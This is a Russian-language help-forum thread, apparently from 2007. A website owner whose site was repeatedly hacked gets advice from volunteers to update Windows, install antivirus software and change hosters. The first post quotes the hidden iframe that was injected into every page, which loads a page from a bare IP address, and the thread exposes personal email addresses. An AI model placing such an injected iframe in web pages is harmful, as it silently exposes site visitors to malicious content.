Показано с 1 по 12 из 12.

Вирус экспортируется на сайт? (заявка № 8887)

  1. #1
    Junior Member Репутация
    Регистрация
    08.04.2007
    Сообщений
    6
    Вес репутации
    36

    Exclamation Вирус экспортируется на сайт?

    Помогите пожалуйста - не пойму в чем дело. У меня сайт на RuWeb'е - я и автор и админ. "Веселье" началось 4 апреля, когда не открылась пользователям стартовая страница, а гостевая книга и форум были блокированы. Мне позвонила одна форумчанка (сайт для родителей с детьми-инвалидами) и сказала, что её на форум антивирус не пускает.
    Я позвала специалиста и он из бекапа восстановил сайт. Но 6 апреля все повторилось снова. Теперь уже разбирались с хостерами сами.
    Вот что они написали: "Ваш сайт взломан, в конце каждой страницы добавляется код
    <!-- ~ --><iframe src="http://89.149.196.151/~xmobile/ru/index.php" width=1 height=1 style="display:none"></iframe>
    Судя по всему, у Вас или используются нестойкие к взлому пароли(администратор хостинга/cms/пользователь базы данных) или используется cms с уязвимостями (особенно опасны в этом отношении самописные, в широко используемых cms типа joomla такие уязвимостей давно нет) или Ваш компьютер заражён вирусом, и пароли перехватываются.
    В последнее время такие взомы участились из-за появившегося вируса, взлом происходит автоматически.
    Вы чистите свой компьютер от вирусов, и меняете все свои пароли".
    В общем, они все восстановили, я почистила комп DrWeb'ом и поменяла пароли.
    1 раз зашла в админку! Все - через 2 часа ни форума ни гостевой снова не было.
    Тогда прочитала информацию у Вас на сайте в какой последовательности и что надо делать. Прикрепила файлы о которых Geser и NickGolovko писали. Не пойму - система, кажется, без вирусов. Можно успокоиться и искать причины в другом?
    Вложения Вложения

  2. Реклама
     

  3. #2
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для drongo
    Регистрация
    17.09.2004
    Адрес
    Israel
    Сообщений
    7,165
    Вес репутации
    967
    что это ?

    C:\Documents and Settings\Fil-007\Мои документы\Файлы Mail.Ru Агента\guzik_sergei@mail.ru\nati19841@mail.ru\фото чка.doc



    никогда не нравился агент маил.ру из -за его шпионского поведения, возможно через него украли
    сп2 поставьте на виндовс , и паровоз с обновлениями после него.
    И фаэрвол нормальный .

  4. #3
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    03.04.2006
    Сообщений
    21,108
    Вес репутации
    2997
    Цитата Сообщение от Natalya_Guzik Посмотреть сообщение
    Не пойму - система, кажется, без вирусов.
    Ну это не на долго:
    Platform: Windows XP SP1 (WinNT 5.01.2600)
    MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)
    Система без СП2 и примерно 180 последующих патчей живёт в интернете по статистике не более получаса.
    А почему никакой антивирусной программы у Вас не видно?
    А проблема Ваша в общем и не Ваша, а Вашего хостера. Смените его, пока не поздно.
    Это личность Вам знакома?
    Wiethold Wagner
    netdirekt e. K.
    Kleyer Strasse 79 / Tor 14
    60326 Frankfurt

  5. #4
    Junior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    06.09.2006
    Сообщений
    5,658
    Вес репутации
    1811
    Скорее всего, это снова Psyme, и ваш компьютер здесь не при чем. Это проблема хостера, а не ваша.
    [I]Nick Golovko
    NCFU lecturer, information security specialist[/I]

  6. #5
    Junior Member Репутация
    Регистрация
    08.04.2007
    Сообщений
    6
    Вес репутации
    36
    Цитата Сообщение от drongo Посмотреть сообщение
    что это?
    C:\Documents and Settings\Fil-007\Мои документы\Файлы Mail.Ru Агента\guzik_sergei@mail.ru\nati19841@mail.ru\фото чка.doc
    никогда не нравился агент маил.ру из -за его шпионского поведения, возможно через него украли
    сп2 поставьте на виндовс , и паровоз с обновлениями после него.
    И фаэрвол нормальный .
    Агент mail.ru - это сына, спасибо, что подсказали, сменит. Что такое файервол знаю. А вот что такое сп2 - подскажите пожалуйста.
    Спасибо всем огромное!

  7. #6
    Junior Member Репутация
    Регистрация
    08.04.2007
    Сообщений
    6
    Вес репутации
    36
    Цитата Сообщение от Rene-gad Посмотреть сообщение
    Это личность Вам знакома?
    Нет, не знакома - "чайник" - он и в Африке чайник

  8. #7

  9. #8
    Junior Member Репутация
    Регистрация
    08.04.2007
    Сообщений
    6
    Вес репутации
    36
    Что бы я без вас делала ума не приложу... Спасибо еще раз!

  10. #9
    Junior Member Репутация
    Регистрация
    08.04.2007
    Сообщений
    6
    Вес репутации
    36
    Может быть подскажете: в результате обновления получила вот эту ссылку на англ., которого не знаю http://www.microsoft.com/athome/secu...jpeg_tool.mspx.
    Что дальше делать и на что нажимать?

  11. #10
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    03.04.2006
    Сообщений
    21,108
    Вес репутации
    2997
    Цитата Сообщение от Natalya_Guzik Посмотреть сообщение
    в результате обновления получила вот эту ссылку на англ., которого не знаю
    1. какой язык (кроме русского) знаете?
    2. что конкретно Вы обновили? Если вы установили СП2, можете это страничку закрыть - этот апдейт закрывает уязвимость в обработке картинок формата JPEG, в СП2 эта проблема уже решена.

  12. #11
    Junior Member Репутация
    Регистрация
    08.04.2007
    Сообщений
    6
    Вес репутации
    36
    Цитата Сообщение от Rene-gad Посмотреть сообщение
    1. какой язык (кроме русского) знаете?
    Немецкий знаю Но не компьютерную терминологию.
    Цитата Сообщение от Rene-gad Посмотреть сообщение
    2. что конкретно Вы обновили? Если вы установили СП2, можете это страничку закрыть - этот апдейт закрывает уязвимость в обработке картинок формата JPEG, в СП2 эта проблема уже решена.
    Обновляла сп1 установкой сп2 по той ссылке, что дал drongo

    Спасибо.

  13. #12
    Senior Member Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация
    Регистрация
    03.04.2006
    Сообщений
    21,108
    Вес репутации
    2997
    Цитата Сообщение от Natalya_Guzik Посмотреть сообщение
    Обновляла сп1 установкой сп2 по той ссылке, что дал drongo
    если установка СП2 прошла без проблем, то Вам осталось установить недостающие патчи (примерно 180 штук - но не пугайтесь, это должно произойти автоматически, если Вы воспользуетесь встроенной в Виндоуз рутиной) и какую-нибудь антивирусную программу и проверить Ваш компьютер.
    Немецкий знаю Но не компьютерную терминологию.
    Я дам Вам пару ссылок по-немецки. Если будет не понятно - переведу
    http://faq.underflow.de/
    http://www.cidres-security.de/

  • Уважаемый(ая) Natalya_Guzik, наши специалисты оказали Вам всю возможную помощь по вашему обращению.

    В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:


    Надеемся больше никогда не увидеть ваш компьютер зараженным!

    Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.
  • Присоединяйтесь к нам в соцсетях!

    Мы делаем все возможное, чтобы помогать людям в защите и лечении компьютеров.

    Похожие темы

    1. Упал сайт, .js вирус
      От RoyalTurkey в разделе Помогите!
      Ответов: 3
      Последнее сообщение: 14.04.2012, 21:38
    2. Вирус не даёт зайти за сайт
      От саня в разделе Помогите!
      Ответов: 17
      Последнее сообщение: 21.05.2011, 21:41
    3. Вирус, фишинговый сайт
      От Pechkin в разделе Помогите!
      Ответов: 0
      Последнее сообщение: 23.04.2011, 18:09
    4. вирус открывает сайт 2
      От blackcat72 в разделе Помогите!
      Ответов: 11
      Последнее сообщение: 30.09.2009, 17:57
    5. вирус лезет на сайт
      От Ирина Викторовна в разделе Помогите!
      Ответов: 8
      Последнее сообщение: 22.02.2009, 09:35

    Свернуть/Развернуть Ваши права в разделе

    • Вы не можете создавать новые темы
    • Вы не можете отвечать в темах
    • Вы не можете прикреплять вложения
    • Вы не можете редактировать свои сообщения
    •  
    Page generated in 0.00745 seconds with 22 queries